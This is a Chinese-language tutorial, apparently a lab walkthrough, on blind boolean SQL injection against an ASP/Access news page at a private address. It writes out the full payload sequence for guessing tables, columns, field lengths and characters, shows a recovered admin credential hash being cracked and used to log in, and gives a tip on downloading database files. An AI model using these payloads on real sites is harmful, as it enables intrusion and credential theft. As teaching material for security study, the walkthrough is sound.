目录

Access注入攻击案例

猜解数据库表名和字段

继续猜测字段并提交

猜解字段长度

 猜解字段内容


Access注入攻击案例

 漏洞链接地址为:http://192.168.1.55:901/news_view.asp?id=14 分别提交“and 1=1”和"and 1=2"返回不同页面,说明存在注入漏洞:如下

access做前台mysql做后台 access前端sql后端例子_access做前台mysql做后台

猜解数据库表名和字段

   首先来猜解数据库表名,提交如下网址。

http://192.168.1.55:901/news_view.asp?id=14 and exists(select * from users)

返回错误信息,说明users表不存在,继续提交。

http://192.168.1.55:901/news_view.asp?id=14 and exists(select * from admin)

还是返回错误信息,说明admin表不存在,继续提交。

http://192.168.1.55:901/news_view.asp?id=14 and exists(select * from administrator)

返回正常页面,说明存在administrator表( 存在administrator表与不存在的表对比)

access做前台mysql做后台 access前端sql后端例子_字段_02

继续猜测字段并提交

http://192.168.1.55:901/news_view.asp?id=14 and exists(select username from administrator)

返回错误信息,说明不存在username字段,继续提交。

http://192.168.1.55:901/news_view.asp?id=14 and exists(select user_name from administrator)

返回正常页面,administrator表中存在字段user_name

access做前台mysql做后台 access前端sql后端例子_错误页面_03

再提交:http://192.168.1.55:901/news_view.asp?id=14 and exists(select password from administrator)

返回正常页面,说明administrator表中存在字段password

猜解字段长度

再继续猜测第一个字段内容长度。

http://192.168.1.55:901/news_view.asp?id=14 and (select top 1 len(user_name) from administrator)>1//正常

http://192.168.1.55:901/news_view.asp?id=14 and (select top 1 len(user_name) from administrator)>2  //正常

http://192.168.1.55:901/news_view.asp?id=14 and (select top 1 len(user_name) from administrator)>5  //报错

说明administrator表中的user_name 字段长度为5

access做前台mysql做后台 access前端sql后端例子_数据库_04

 猜解字段内容

现在猜解字段内容并提交。

http://192.168.1.55:901/news_view.asp?id=14 and (select top 1 asc(mid(user_name,1,1)) from administrator)>0  //返回正常页面

说明ASCII值大于0 ,字段值应该为字母,如果是小于0那么说明是汉字,下面我们继续猜解。

http://192.168.1.55:901/news_view.asp?id=14 and (select top 1 asc(mid(user_name,1,1)) from administrator)>500  //返回错误页面

说明字段对应的ASCll值在0和500之间。继续提交。

http://192.168.1.55:901/news_view.asp?id=14 and (select top 1 asc(mid(user_name,1,1)) from administrator)>100   //返回错误页面

说明字段对应的ASCll值在0和100之间。继续提交。

http://192.168.1.55:901/news_view.asp?id=14 and (select top 1 asc(mid(user_name,1,1)) from administrator)>90   //返回正常页面

说明字段对应的ASCll值在90和100之间。继续提交。

http://192.168.1.55:901/news_view.asp?id=14 and (select top 1 asc(mid(user_name,1,1)) from administrator)>96  //返回正常页面

说明字段对应的ASCll值在96和100之间。继续提交。

http://192.168.1.55:901/news_view.asp?id=14 and (select top 1 asc(mid(user_name,1,1)) from administrator)>97  //返回错误页面

说明administrator表中的user_name字段的第一位ASCII值为97。通过反查ASCII值对应的字母,得到字符值为“a”接着第二位查询。

access做前台mysql做后台 access前端sql后端例子_字段_05

http://192.168.1.55:901/news_view.asp?id=14 and (select top 1 asc(mid(user_name,2,1)) from administrator)>99  //返回正常页面(注:查第二个字母的时候记得把user_name后面的1变成2)

http://192.168.1.55:901/news_view.asp?id=14 and (select top 1 asc(mid(user_name,2,1)) from administrator)>100  //返回错误页面

access做前台mysql做后台 access前端sql后端例子_字段_06

 当输入>100时报错

 

access做前台mysql做后台 access前端sql后端例子_字段_07

转换ASCll值得到第2字母为b

 用同样的方法,可猜解user_name字段值和password值,最终得到如下结果:

[user_name]:admin

[password]:21232f297a57a5a743894a0e4a801fc3

可看出password的值为32位MD5加密,使用MD5在线破解工具进行破解,得到明文密码为admin。

access做前台mysql做后台 access前端sql后端例子_错误页面_08

  破解出密码

得到管理员用户名和密码后,登录后台:http://192.168.1.55:901/admin/index.asp,输入猜解出来的用户名和密码.就可以成功进入网站后台页面。

(小提示: access数据库都是存放在网站目录下,后缀格式为mdb,asp,asa,可以通过一些暴库手段、目录猜解等直接下载数据库,如果是MSSQL、MYSQL等,一般数据库是存储在数据库安装路径下,后缀格式为myi,myd,frm,mdf 不能通过下载得到库。除非走狗屎运,对方管理员把网站库备份在网站目录下。)